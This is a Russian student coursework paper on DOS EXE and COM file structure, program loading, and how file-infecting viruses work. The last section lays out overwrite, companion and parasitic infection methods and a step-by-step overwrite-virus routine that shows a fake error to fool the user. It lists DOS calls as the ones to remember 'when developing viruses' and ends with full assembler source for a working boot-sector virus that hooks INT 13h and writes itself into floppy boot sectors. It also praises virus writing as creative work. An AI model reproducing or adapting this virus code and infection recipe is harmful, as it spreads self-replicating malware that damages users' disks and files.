Семантический разбор exe-файла

Язык Ассемблера как символическое представление машинного языка. Анализ программы на ассемблере, ее синтаксис. Структура и выполнение exe-файла. Функции загрузки и выполнения программы. Структура COM–файла. Принцип действия и распространения вируса.

Рубрика Программирование, компьютеры и кибернетика
Вид курсовая работа
Язык русский
Дата добавления 29.05.2013
Размер файла 235,7 K

Отправить свою хорошую работу в базу знаний просто. Используйте форму, расположенную ниже

Студенты, аспиранты, молодые ученые, использующие базу знаний в своей учебе и работе, будут вам очень благодарны.

Команду shr можно использовать для деления целочисленных операндов без знака на степени 2.

XOR

Логическое исключающее ИЛИ

ASCII-коррекция после сложения

Схема команды:

xor приемник,источник

Назначение: операция логического исключающего ИЛИ над двумя операндами размерностью байт, слово или двойное слово.

Алгоритм работы:

· выполнить операцию логического исключающего ИЛИ над операндами: бит результата равен 1, если значения соответствующих битов операндов различны, в остальных случаях бит результата равен 0;

· записать результат сложения в приемник;

· установить флаги.

Состояние флагов после выполнения команды:

Применение:

Команда xor используется для выполнения операции логического исключающего ИЛИ двух операндов. Результат операции помещается в первый операнд. Эту операцию удобно использовать для инвертирования или сравнения определенных битов операндов.

2. Структура и выполнение EXE-файла

EXE-модуль, созданный компоновщиком, состоит из следующих двух частей: 1) заголовок - запись, содержащая информацию по управлению и настройке программы и 2) собственно загрузочный модуль.

В заголовке находится информация о размере выполняемого модуля, области загрузки в памяти, адресе стека и относительных смещениях, которые должны заполнить машинные адреса в соответствии с относительными шестнадцатеричными позициями. Для EXE-файла все несколько сложнее чем COM-файл. Общеизвестно что EXE файл отличается от COM файла тем что состоит из двух частей - заголовка, содержащего управляющую информацию для загрузки и самого загружаемого модуля - программы. Программа загружается в память, затем производится настройка адресов в соответствии с ТHА, потом из заголовка берутся значения SS:SP и CS:IP. В ES и DS заносится сегментный адрес PSP. Рассмотрим структуру заголовка EXE файла:

ТАБЛИЦА EXE-ФАЙЛА

Смещение относительно начала(hex)

Содержание

Комментарий

00-01

4D5A - подпись компоновщика (признак EXE файла)

Компоновщик устанавливает этот код для идентификации правильного EXE-файла

02-03

Длина последнего блока

Число байтов в последнем блоке EXE-файла

04-05

Длина файла в блоках по 512 байт

Число 512 байтовых блоков EXE-файла, включая заголовок

06-07

Количество элементов таблицы настройки адресов (Relocation table)

Число настраиваемых элементов

08-09

Длина заголовка в параграфах

Число 16-тибайтовых блоков (параграфов) в заголовке, (необходимо для локализации начала выполняемого модуля, следующего после заголовка)

0A-0B

Минимальный объем памяти который надо выделить после конца программы ( в параграфах)

Минимальное число параграфов, которые должны находится после загруженной программы

0C-0D

Максимальный объем памяти...

Переключатель загрузки в младшие или старшие адреса. При компоновке программист должен решить, должна ли его программа загружаться для выполнения в младшие адреса памяти или в старшие. Обычным является загрузка в младшие адреса. Значение шест.0000 указывает на загрузку в старшие адреса, а шест. FFFF - в младшие. Иные значения определяют максимальное число параграфов, которые должны находиться после загруженной программы

0E-0F

Сегментный адрес стека относительно начала программы (SS)

Относительный адрес сегмента стека в выполняемом модуле

10-11

Значение SP при запуске

Адрес, который загрузчик должен поместить в регистр SP перед передачей управления в выполнимый модуль

12-13

Контрольная сумма - результат сложения без переноса всех слов файла

Контрольная сумма - сумма всех слов в файле (без учета переполнений) используется для проверки потери данных

14-15

Значение IP

Относительный адрес, который загрузчик должен поместить в регистр IP до передачи управления в выполняемый модуль

16-17

Значение CS

Относительный адрес кодового сегмента в выполняемом модуле. Этот адрес загрузчик заносит в регистр CS

18-19

Адрес первого элемента ТHА

Смещение первого настраиваемого элемента в файле.

1A-1B

Номер сегмента перекрытия

Номер оверлейного фрагмента: нуль обозначает, что заго ловок относится к резидентной части EXE-файла

Номер сегмента перекрытия

Таблица настройки, содержащая переменное число настраиваемых элементов, соответствующее значению по смещению 06

Заголовок имеет минимальный размер 512 байтов и может быть больше, если программа содержит большое число настраиваемых элементов. Позиция 06 в заголовке указывает число элементов в выполняемом модуле, нуждающихся в настройке. Каждый элемент настройки в таблице, начинающейся в позиции 1C заголовка, состоит из двухбайтовых величин смещений и двухбайтовых сегментных значений.

Система строит префикс программного сегмента следом за резидентной частью COMMAND.COM (DOS), которая выполняет операцию загрузки. Затем COMMAND.COM выполняет следующие действия:

- Считывает форматированную часть заголовка в память.

- Вычисляет размер выполнимого модуля (общий размер файла в позиции 04 минус размер заголовка в позиции 08) и загружает модуль в память с начала сегмента.

- Считывает элементы таблицы настройки в рабочую область

и прибавляет значения каждого элемента таблицы к началу

сегмента (позиция OE).

- Устанавливает в регистрах SS и SP значения из заголовка

и прибавляет адрес начала сегмента.

- Устанавливает в регистрах DS и ES сегментный адрес

префикса программного сегмента.

- Устанавливает в регистре CS адрес PSP и прибавляет вели

чину смещения в заголовке (позиция 16) к регистру CS.

Если сегмент кода непосредственно следует за PSP, то смещение в заголовке равно 256 (шест.100). Регистровая пара CS:IP содержит стартовый адрес в кодовом сегменте, т.е. начальный адрес программы.

После инициализации регистры CS и SS содержат правильные адреса, а регистр DS (и ES) должны быть установлены в программе для их собственных сегментов данных:

1. PUSH DS ;Занести адрес PSP в стек

2. SUB AX,AX ;Занести нулевое значение в стек

3. PUSH AX ; для обеспечения выхода из программы

4. MOV AX,datasegname ;Установка в регистре DX

5. MOV DS,AX ; адреса сегмента данных

При завершении программы команда RET заносит в регистр IP нулевое значение, которое было помещено в стек в начале выполнения программы. В регистровой паре CS:IP в этом случае получается адрес, который является адресом первого байта PSP, где расположена команда INT 20H. Когда эта команда будет выполнена, управление перейдет в DOS.

ПРИМЕР EXE-ПРОГРАММЫ

Рассмотрим следующую таблицу компоновки (MAP)

программы:

Start Stop Length Name 00000H 0003AH 003BH CSEG 00040H 0005AH 001BH DSEG 00060H 0007FH 0020H STACK

Program entry point at 0000:0000

Class

CODE

DATA

STACK

Таблица MAP содержит относительные (не действительные) адреса каждого из трех сегментов. Символ H после каждого значения указывает на шестнадцатеричный формат. Заметим, что компоновщик может организовать эти сегменты в последовательности отличного от того, как они были закодированы в программе.

В соответствии с таблицей MAP кодовый сегмент CSEG находится по адресу 00000 - этот относительный адрес является началом выполняемого модуля. Длина кодового сегмента составляет шест.003B байтов. Следующий сегмент по имени DSEG начинается по адресу шест.00040 и имеет длину шест.001B. Адрес шест.00040 является первым после CSEG адресом, выровненным на границу параграфа (т.е. это значение кратно шест.10). Последний сегмент, STACK, начинается по адресу шест.00060 - первому после DSEG, адресу выровненному на границу параграфа.

С помощью отладчика DEBUG нельзя проверить содержимое заголовка, так как при загрузке программы для выполнения DOS замещает заголовок префиксом программного сегмента. Однако, на рынке программного обеспечения имеются различные сервисные утилиты (или можно написать собственную), которые позволяют просматривать содержимое любого дискового сектора в шестнадцатеричном формате. Заголовок для рассматриваемого примера программы содержит следующую информацию (содержимое слов представлено в обратной последовательности байтов).

00 Шест.4D5A.

02 Число байтов в последнем блоке: 5B00.

04 Число 512 байтовых блоков в файле, включая заголовок: 0200 (шест.0002х512=1024).

06 Число элементов в таблице настройки, находящейся после форматированной части заголовка: 0100, т.е. 0001.

08 Число 16 байтовых элементов в заголовке: 2000 (шест.0020=32 и 32х16=512).

0C Загрузка в младшие адреса: шест. FFFF.

0E Относительный адрес стекового сегмента: 6000 или шест.

60.

10 Адрес для загрузки в SP: 2000 или шест.20.

14 Смещение для IP: 0000.

16 Смещение для CS: 0000.

18 Смещение для первого настраиваемого элемента: 1E00 или шест.1E.

После загрузки программы под управлением отладчика DEBUG регистры получают следующие значения:

SP = 0020DS = 138FES = 138F

SS = 13A5CS = 139FIP = 0000

Для EXE-модулей загрузчик устанавливает в регистрах DS и ES адрес префикса программного сегмента, помещенного в доступной области памяти, а в регистрах IP, SS и SP - значения из заголовка программы.

Регистр SP

Загрузчик использует шест.20 из заголовка для инициализации указателя стека значением длины стека. В данном примере стек был определен, как 16 DUP (?), т.е. 16 двухбайтовых полей общей длиной 32 (шест.20) байта. Регистр SP указывает на текущую вершину стека.

Регистр CS

В соответствии со значением в регистре DS после загрузки программы, адрес PSP равен шест.138F(0). Так как PSP имеет длину шест.100 байтов, то выполняемый модуль, следующий непосредственно после PSP, находится по адресу шест.138F0+100=139F0. Это значение устанавливается загрузчиком в регистре CS. Таким образом, регистр CS определяет начальный адрес кодовой части программы (CSEG). С помощью команды D CS:0000 в отладчике DEBUG можно просмотреть в режиме дампа машинный код в памяти. Обратим внимание на идентичность дампа и шестнадцатеричной части ассемблерного LST файла кроме операндов, отмеченных символом R.

Регистр SS

Для установки значения в регистре SS загрузчик также использует информацию из заголовка:

Начальный адрес PSP 138F0

Длина PSP100

Относительный адрес стека 60

Адрес стека13A50

Регистр DS

Загрузчик использует регистр DS для установки начального адреса PSP. Так как заголовок не содержит стартового адреса, то регистр DS необходимо инициализировать в программе следующим образом:

0004 B8 ---- RMOV AX,DSEG

0007 8E D8MOV DS,AX

Ассемблер оставляет незаполненным машинный адрес сегмента DSEG, который становится элементом таблицы настройки в заголовке. С помощью отладчика DEBUG можно просмотреть завершенную команду в следующем виде:

B8 A313

Значение A313 загружается в регистр DS в виде 13A3. В результате имеем

Регистр АдресСмещение

CS139F000

DS13A3040

SS13A5060

Попробуем выполнить трассировку любой скомпонованной программы под управлением отладчика DEBUG (DOS) и обратим внимание на изменяющиеся значения в регистрах:

КомандаИзменяющиеся регистры

PUSH DSIP и SP

SUB AX,AXIP и AX (если был не нуль)

PUSH AXIP и SP

MOV AX,DSEGIP и AX

MOV DS,AXIP и DS

Регистр DS содержит теперь правильный адрес сегмента данных. Можно использовать теперь команду D DS:00 для просмотра содержимого сегмента данных DSEG и команду D SS:00 для просмотра содержимого стека.

ФУНКЦИИ ЗАГРУЗКИ И ВЫПОЛНЕНИЯ ПРОГРАММЫ

Рассмотрим теперь, как можно загрузить и выполнить программу из другой программы. Функция шест.4B дает возможность одной программе загрузить другую программу в память и при необходимости выполнить. Для этой функции необходимо загрузить адрес ASCIIZ-строки в регистр DX, а адрес блока параметров в регистр BX (в действительности в регистровую пару ES:BX). В регистре AL устанавливается номер функции 0 или 3:

AL=0. Загрузка и выполнение. Данная операция устанавливает префикс программного сегмента для новой программы, а также адрес подпрограммы реакции на Ctrl/Break и адрес передачи управления на следующую команду после завершения новой программы. Так как все регистры, включая SP, изменяют свои значения, то данная операция не для новичков. Блок параметров, адресуемый по ES:BX, имеет следующий формат:

СмещениеНазначение

0Двухбайтовый сегментный адрес строки параметров для передачи.

2Четырехбайтовый указатель на командную строку в PSP+80H.

6Четырехбайтовый указатель на блок FCB в PSP+5CH.

10Четырехбайтовый указатель на блок FCB в PSP+6CH.

AL=3. Оверлейная загрузка. Данная операция загружает программу или блок кодов, но не создает PSP и не начинает выполнение. Таким образом можно создавать оверлейные программы. Блок параметров адресуется по регистровой паре ES:BX и имеет следующий формат:

СмещениеНазначение

0Двухбайтовый адрес сегмента для загрузки файла.

2Двухбайтовый фактор настройки загрузочного модуля.

Возможные коды ошибок, возвращаемые в регистре AX: 01, 02, 05, 08, 10 и 11. Программа на рис.22.2 запрашивает DOS выполнить команду DIR для дисковода D.

3. Структура COM-файла

Для выполнения компоновки можно также создавать COM-файлы. Примером часто используемого COM-файла является COMMAND.COM. Программа EXE2BIN.COM в оперативной системе DOS (3 версия о более) преобразует EXE-файлы в COM-файлы. Фактически эта программа создает так называемый BIN (двоичный) файл, поэтому она и называется "преобразователь EXE в Вin (EXE-to-BIN)". Выходной Вin-файл можно легкостью переименовать в COM-файл.

Какие же различия между EXE и COM-файлах ?

В первую очередь конечно они отличаются заголовками файла. Несмотря на то, что программа EXE2BIN преобразует EXE-файл в COM-файл, существуют определенные различия между программой, выполняемой как EXE-файл и программой, выполняемой как COM-файл.

Размер программы. EXE-программа может иметь любой размер, в то время как COM-файл ограничен размером одного сегмента и не превышает 64К. COM-файл всегда меньше, чем соответствующий EXE-файл; одна из причин этого - отсутствие в COM-файле 512-байтового начального блока EXE-файла.

Сегмент стека. В EXE-программе определяется сегмент стека, в то время как COM-программа генерирует стек автоматически. Таким образом при создании ассемблерной программы, которая будет преобразована в COM-файл, стек должен быть опущен.

Сегмент данных. В EXE программе обычно определяется сегмент данных, а регистр DS инициализируется адресом этого сегмента. В COM-программе все данные должны быть определены в сегменте кода. Ниже будет показан простой способ решения этого вопроса.

Инициализация. EXE-программа записывает нулевое слово в стек и инициализирует регистр DS. Так как COM-программа не имеет ни стека, ни сегмента данных, то эти шаги отсутствуют. Когда COM-программа начинает работать, все сегментные регистры содержат адрес префикса программного сегмента (PSP),

- 256-байтового (шест. 100) блока, который резервируется операционной системой DOS непосредственно перед COM или EXE программой в памяти. Так как адресация начинается с шест. смещения 100 от начала PSP, то в программе после оператора SEGMENT кодируется директива ORG 100H.

Обработка. Для программ в EXE и COM форматах выполняется ассемблирование для получения OBJ-файла, и компоновка для получения EXE-файла. Если программа создается для выполнения как EXE-файл, то ее уже можно выполнить. Если же программа создается для выполнения как COM-файл, то компоновщиком будет выдано сообщение:

Warning: No STACK Segment

(Предупреждение: Сегмент стека не определен)

Это сообщение можно игнорировать, так как определение стека в программе не предполагалось. Для преобразования EXE-файла в COM-файл используется программа EXE2BIN.

Между прочим размеры EXE и COM-программ - 788 и 20 байт. Учитывая такую эффективность COM-файлов, производители программных продуктов в большинстве создают свои программы в COM-формате. Для этого есть такой пример как Windows.

Несоблюдение хотя бы одного требования COM-формата может послужить причиной неправильной работы программы. Если EXE2BIN обнаруживает ошибку, то выдается сообщение о невозможности преобразования файла без указания конкретной причины.

ОСНОВНЫЕ ПОЛОЖЕНИЯ НА ПАМЯТЬ

- Объем COM-файла ограничен 64К.

- COM-файл меньше, чем соответствующий EXE-файл.

- Программа, написанная для выполнения в COM-формате не содержит стека и сегмента данных и не требует инициализации регистра DS.

- Программа, написанная для выполнения в COM-формате

использует директиву ORG 100H после директивы SEGMENT для выполнения с адреса после префикса программного сегмента.

- Программа EXE2BIN преобразует EXE-файл в COM-файл,

обусловленный указанием типа COM во втором операнде.

- Операционная система DOS определяет стек для COM-программы или в конце программы, если позволяет размер, или в конце памяти.

4. Принцип действия и распространения вируса

Писать вирусы можно по разным причинам. Кому-то нравится изучать системные вызовы, искать «дыры» в антивирусах и совершенствовать свои знания в ассемблере, то есть исключительно программирование. У кого-то коммерческие или целенаправленные методы. Что же такое вирус ? Вирус - это творчество, изобретение новых приемов программирования, знание системы как пяти пальцев.

Есть такая группа людей, кто стремится навредить всем подряд, вставляя в свои вирусы так называемую деструкцию(изменение различных настроек системы компьютера). Такие написанные вирусы-деструкторы, способны стирать FAT-таблицы жестких дисков или даже выжигать монитор.

Рассмотрим вирус, заражающий ЕХЕ-файлы. Приведена классификация таких вирусов, подробно рассмотрены алгоритмы их работы, отличия между ними, достоинства и недостатки.

Вирусы заражающие EXE-файла можно поделить на несколько групп:

*Я рассматриваю - вирусы написанные в основном на ассемблере, имеющие не большой размер.

Вирусы, замещающие программный код (Overwrite)

Такие вирусы уже давно устарели и в наши дни они редко распространены.

Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое «тело» в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.

Вирусы-спутники (Companion)

Эти вирусы получили свое название из-за алгоритма размножения: К каждому инфицированному файлу создается файл-спутник. Рассмотрим более подробно два типа вирусов этой группы:

Вирусы первого типа размножается следующим образом. Для каждого инфицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же имя, что и ЕХЕ-файл, но с расширением

СОМ. Вирус активируется, если при запуске программы в командной

строке указано только имя исполняемого файла. Если СОМ-файл с таким именем не найден, ведется поиск одноименного ЕХЕ-файла. Если

не найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ (пакетный)

файл. Другими словами, когда пользователь хочет за-

пустить программу и набирает в командной строке только ее имя, первым управление получает вирус, код которого находится в СОМ-файле. Он создает СОМ-файл еще к одному или нескольким ЕХЕ-файлам (распространяется), а затем исполняет ЕХЕ-файл с указанным в командной строке именем. Пользователь же думает, что работает только запущенная ЕХЕ-программа. Вирус-спутник обезвредить довольно просто - достаточно удалить СОМ-файл.

Вирусы второго типа действуют более тонко. Имя инфицируемого ЕХЕ-файла остается прежним, а расширение заменяется каким-либо другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ), Например, файл может получить расширение DAT (файл данных) или OVL (программный оверлей). Затем на место ЕХЕ-файла копируется вирусный код. При запуске такой инфицированной программы управление получает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще один или несколько ЕХЕ-файлов таким же образом, вирус возвращает оригинальному файлу исполняемое расширение (но не ЁХЕ, а СОМ, поскольку ЕХЕ-файл с таким именем занят вирусом), после чего исполняет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лечение файлов, зараженных вирусом этого типа, может быть затруднено, если вирус-спутник шифрует часть или все тело инфицируемого файла, а перед исполнением его расшифровывает.

Вирусы, внедряющиеся в программу (Parasitic)

Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл.

Способы заражения ЕХЕ-файлов

Самый распространенный способ заражения ЕХЕ-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение СОМ-файлов, но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес. Второй способ таков - внедрение вируса в начало файла со сдвигом кода программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код, а после него - код инфицируемой программы. Таким образом, код программы как бы "сдвигается" в файле на длину кода вируса. Отсюда и название способа - "способ сдвига". При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (СОМ или ЕХЕ), и затем исполняет этот файл. Когда программа закончила работу, временный файл удаляется. Если при создании вируса не применялось дополнительных приемов защиты, то вылечить инфицированный файл очень просто - достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой программы (а ведь бывают экземпляры размером больше 1Мбайт). Следующий способ заражения файлов - метод переноса который является самым совершенным из всех ранее перечисленных. Вирус размножается следующим образом: при запуске инфицированной программы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало, по длине равное телу вируса. На это место записывается тело вируса. Начало программы из памяти дописывается в конец файла. Отсюда название метода - "метод переноса". После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы, из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы - в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.

Рассмотрим алгоритм распространения Вируса.

Overwrite-вирус:

1. Открыть файл, из которого вирус получил управление.

2. Считать в буфер код вируса.

3. Закрыть файл.

4. Искать по маске подходящий для заражения файл.

5. Если файлов больше не найдено, перейти к пункту 11.

6. Открыть найденный файл.

7. Проверить, не заражен ли найденный файл этим вирусом.

8. Если файл заражен, перейти к пункту 10.

9. Записать в начало файла код вируса.

10. Закрыть файл (по желанию можно заразить от одного до всех файлов в каталоге или на диске).

11. Выдать на экран какое-либо сообщение об ошибке, например "Abnormal program termination" или "Not enough memory", - как бы, пустьпользователь не слишком удивляется тому, что программа не запустилась.

12. Завершить программу.

В большинстве случаев для написания вируса широко используются функции DOS-а. Их достаточно много всех не будем рассматривать, приведу пример только одного из них.

DOS, функция 21h

Считать произвольную запись файла

Вход:

AH-21h

DS:DX - адрес открытого FCB (Таблица Б-2)

Выход:

AL=OOh, если чтение было успешным и DTA заполнена данными

AL°01h, если достигнут конец файла (EOF) и чтения не было

AL=02h, если произошел выход за сегмент (чтения нет)

AL°03h, если встречен EOF и усеченная запись дополнена нулями

Описание.

Данная функция читает из файла с текущей позиции как с указанной в полях FCB "Запись с текущей позиции" и "Номер записи при непосредственном доступе к файлу".

Другие функции:

DOS, функция OOh

Завершить программу

DOS, функция 01h

Считать со стандартного устройства ввода

DOS, функция 02h

Записать в стандартное устройство вывода

DOS, функция 03h

Считать символа со стандартного вспомогательного устройства

DOS, функция 04h

Записать символ в стандартное вспомогательное устройство

DOS, функция 05h

Вывести на принтер

DOS, функция 06h

Консольный ввод-вывод

DOS, функция 09h

Запись строки на стандартный вывод

DOS, функция OAh

Ввод строки в буфер

DOS, функция ODh

Сброс диска

DOS, функция OEh

Установить текущий диск DOS

DOS, функция 13h

Удалить файл через FCB

DOS, функция 15h

Последовательная запись в файл через FCB

DOS, функция 17h

Переименовать файл через FCB

DOS, функция 22h

Писать произвольную запись файла

DOS, функция 26h

Создать новый PSP

DOS, функция 27h

Читать произвольный блок файла

DOS, функция 28h

Писать произвольный блок файла

DOS, функция 31h

Завершиться и остаться резидентным

DOS, функция 3Ah

Удалить оглавление

DOS, функция 41h

Удалить файл

DOS, функция 43h

Установить/опросить атрибуты файла

DOS, функция 44h

Управление устройством ввода/вывода

DOS, функция 4Bh

Выполнить или загрузить программу

DOS, функция 4Ch

Завершить программу

DOS, функция 57h

Установить/опросить дату/время файла

DOS, функция 5Ah

Создать уникальный временный файл

DOS, функция 68h

Завершить файл.

Список наиболее часто используемых функций DOS.(ассемблер пример)

[AK]Вот список функций, которые важно помнить при разработкевирусов:

Установить адрес DTA.

~~~~~~~~~~~~~~~~~~~~~

вход:

ah= 1Ah

ds:dx= адрес

выход:

нет

Получить адрес DTA.

~~~~~~~~~~~~~~~~~~~

вход:

ah= 2Fh

выход:

es:bx= текущий адрес

Create - Создать файл.

~~~~~~~~~~~~~~~~~~~~~

вход:

ah= 3Ch

cx= атрибуты файла (таб 1)

ds:dx= путь и имя файла в формате asciz

выход:

if CF=0 then

ax= дескриптор файла

else

ax= код ошибки (3,4,5) (таб 2)

Open - Открыть существующий файл

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah= 3Dh

al= режим доступа (таб 2)

cx= атрибуты

ds:dx= имя

выход:

if CF=0 then

ax= дескриптор файла

else

ax= код ошибки (1,2,3,4,5,0C)

Close - Закрыть файл

~~~~~~~~~~~~~~~~~~~~

вход:

ah= 3Eh

bx= дескриптор

ds:dx= имя

выход:

if CF=0 then

ax=

else

ax= код ошибки (6)

Read - Чтение из файла

~~~~~~~~~~~~~~~~~~~~~~

вход:

ah= 3Fh

bx= дескриптор

cx= число байт

ds:dx= буфер для чтения

выход:

if CF=0 then

ax= число прочитанных байт

Это значение может быть меньше CX.

Например потому, что превысили длину файла.

else

ax= код ошибки (5,6)

Write - Записать в файл

~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah= 40h

bx= дескриптор

cx= число байт

ds:dx= данные для записи

выход:

if CF=0 then

ax= число записанных байт

else

ax= код ошибки (5,6)

Unlink - Удалить файл

~~~~~~~~~~~~~~~~~~~~~

вход:

ah= 41h

cx= атрибуты

ds:dx= имя

выход:

if CF=0 then

ax=

else

ax= код ошибки (2,3,5)

LSeek - Установить указатель в файле

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah= 42h

al= точка отсчета указателя:

0 - от начала файла

1 - от текущего положения

2 - от конца

bx= дескриптор

cx:dx= смещение (cx=старшие 16 бит, dx=младшие)

выход:

if CF=0 then

dx:ax= новое положение указателя относительно начала

else

ax= код ошибки (1,6)

Получить атрибуты файла

~~~~~~~~~~~~~~~~~~~~~~~

вход:

ax= 4300h

ds:dx= имя

выход:

if CF=0 then

cx= атрибуты

else

ax= код ошибки (1,2,3,5)

Chmod - Установить атрибуты файла

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ax= 4301h

cx= новые атрибуты

ds:dx= имя

выход:

if CF=0 then

ax=

else

ax= код ошибки (1,2,3,5)

Выделить блок памяти

~~~~~~~~~~~~~~~~~~~~

вход:

ah= 48h

bx= размер блока в параграфах

выход:

if CF=0 then

ax= сегмент блока

else

ax= код ошибки (7,8)

bx= размер наибольшего доступного блока

Освободить память

~~~~~~~~~~~~~~~~~

вход:

ah= 49h

es= сегмент блока

выход:

if CF=0 then

ax=

else

ax= код ошибки (7,9)

Изменить размер блока памяти

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah= 4Ah

bx= новый размер

es= сегмент

выход:

if CF=0 then

ax=

else

ax= код ошибки (7,8,9)

bx= размер наибольшего доступного блока

Exec - загрузить или выполнить программу.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah= 4Bh

al= тип загрузки:

0 - загрузить и выполнить

1 - загрузить и не выполнять

3 - загрузить оверлей

4 - загрузить и выполнить в фоновом режиме (dos 4.0)

es:bx= блок параметров (таб 3)

ds:dx= имя программы

выход:

if CF=0 then

bx,dx разрушены

else

ax= код ошибки (1,2,5,8,0A,0B)

Пример элементарного BOOT-вируса:

.286

.model tiny

.code

org 00h

start:jmp install

;jmp fkс

table:; А вот тут будет таблица диска

org 4ch; много места ей, но...

fkс:nop;

xor di,di; обнулим их

mov ds,di; DS=0

cli;

mov ss,di; SS=0

mov si,7c00h; SI - адрес в памяти, там мы

; начинаемся.

mov bx,si; запомним это... еще пригодится

mov sp,si

sti

dec word ptr ds:[0413h]; стока памяти дос

mov ax,ds:[0413h]; в АХ размер дос-памяти в килобайтах

mov cl,06; чтобы получить сегмент надо число

shl ax,cl; килобайт умножить на 40h

; немного арифметики - сегмент считают

; от начала памяти в параграфах, пара-

; граф=10h байт, 40h параграфов=400h

; байт=1кБт. дальше все ясно.

mov es,ax; ES=адрес нового сегмента

push ax; в стек его - будем делать переход

mov ax,offset inst_int; на это вот смещение

push ax; и его в стек тоже

mov cx,200h; но сперва надо перенести свое тело

cld; в этот вот сегмент

rep movsb; переносим

retf; переход через стек

inst_int:; здесь мы уже в новом сегменте

mov ax,ds:[13h*4]; INT 0E0h=INT 13h original

mov ds:[0e0h*4],ax;

mov ax,ds:[13h*4+2];

mov ds:[0e0h*4+2],ax;

mov word ptr ds:[13h*4],offset int13; INT 13h=наш обработчик

mov ds:[13h*4+2],cs;

xor cx,cx

push cx; снова подготовка к переходу

push bx; через стек в точку 0000:7C00h

mov es,cx

mov ax,0201h; читать нормальный бут-сектор

mov cx,cs:floppy_sect; вот отсюда его и читать

mov dh,cs:floppy_head;

xor dl,dl; с диска А: естественно

int 0e0h; вызов оригинального INT 13h

run_boot:

retf; запустить бут.

;------ *** Hаш обработчик INT 13h *** -------

int13: mov cs:shit,ax; сохраним ax

int 0e0h; выполним операцию

jnc int_continue; если была ошибка уходим

jmp int_exit

int_continue:

pushf; флаги запомнить надо!

cmp byte ptr cs:[shit+1],2; reading sectors?

jnz g1

cmp cx,0001

jne g1

cmp dh,0; читаем бут

jne g1

cmp dl,01; не с винта надеюсь?

jna fkс_boot

g1:jmp get_out

;------------- Обработчик чтения бута с дискеты ---------------

fkс_boot:

pusha

push ds es

push es

pop ds

lea di,fkс; сравним то что у нас по смещению fkс

mov ax,cs:[di]; с тем что мы прочитали по тому же смещению

mov si,bx; Так мы проверяем заражен ли

add si,offset fkс; уже нами бут-сектор

cmp ax,[si];

jz exit_boot_work; если нет то уйдем отсюда

cmp dl,1; на всякий пожарный :) В принципе можете

ja exit_boot_work; эту проверку выкинуть - она уже была

find_place:; поиск места куда прятать старый бут-сектор

mov ax,[bx+16h] ; ax=число секторов в FAT

mul byte ptr [bx+10h]; умножим его на число FAT

add ax,[bx+0eh] ; прибавим число резервных секторов для FAT--

push dx ; запомним dx - там номер диска и сторона |

mov cl,4; |

mov dx,[bx+11h] ; dx=число элементов корневого каталога |

; 1 элемент занимает 32 байта |

shr dx,cl; поделим его на 16 - получим число сектров |

; корня, вроде бы так... |

add ax,dx; прибавим к AX------------------------------

dec ax; уменьшим на 1

; в AX порядковый номер последнего сектора

; ROOT'a... ???

mov cx,[bx+18h]; cx=число секторов на дорожке

push cx; запомним его

shl cx,1; умножим на 2

xor dx,dx; dx=0

div cx; поделим DX:AX на CX

pop cx; вытащим CX из стека - там число секторов на

; дорожке было

push ax; запомним частное от предыдущего деления

mov ax,dx; в AX занесем остаток от деления

xor dx,dx; DX=0

div cx; поделим еще раз

mov dh,al; DH=номер головки

mov cl,dl; CL=номер сектора

pop ax; выкинем AX

mov ch,al; CH=номер дорожки

inc cl; прибавим к нему 1

pop ax; AX=бывшее DX - там была сторона и номер

; дисковода

mov dl,al; номер в DL

mov cs:floppy_sect,cx; то что получилось запомним

mov cs:floppy_head,dh

;---------all found dh,cx rules---------

mov ax,0301h; записать старый бут куда надо

int 0e0h

jc exit_boot_work; если была ошибка - прекратить работу

; чтобы не убить диск совсем

; можно этого и не делать, едва ли что

; случится - вероятность того что вычисленный

; нами сектор BAD очень низка, но...

push cs

pop es

lea di,table; скопируем из бута в свое тело таблицу

mov si,bx; параметров диска

add si,offset table;

mov cx,4ch-3;

rep movsb;

push cs

pop es

mov ax,0301h; запишемся в бут-сектор

xor bx,bx

mov cx,0001

xor dh,dh

int 0e0h

exit_boot_work:

pop es ds; восстановим все что убили

popa

get_out:

popf; и флаги обязательно

int_exit:

retf 2; выход из прерывания

;-------------data block--------------

floppy_sectdw 2f08h

floppy_headdb 01

shitdw 0

org 510

sign dw 0aa55h; чтобы не выдавали сообщения NDD и прочие...

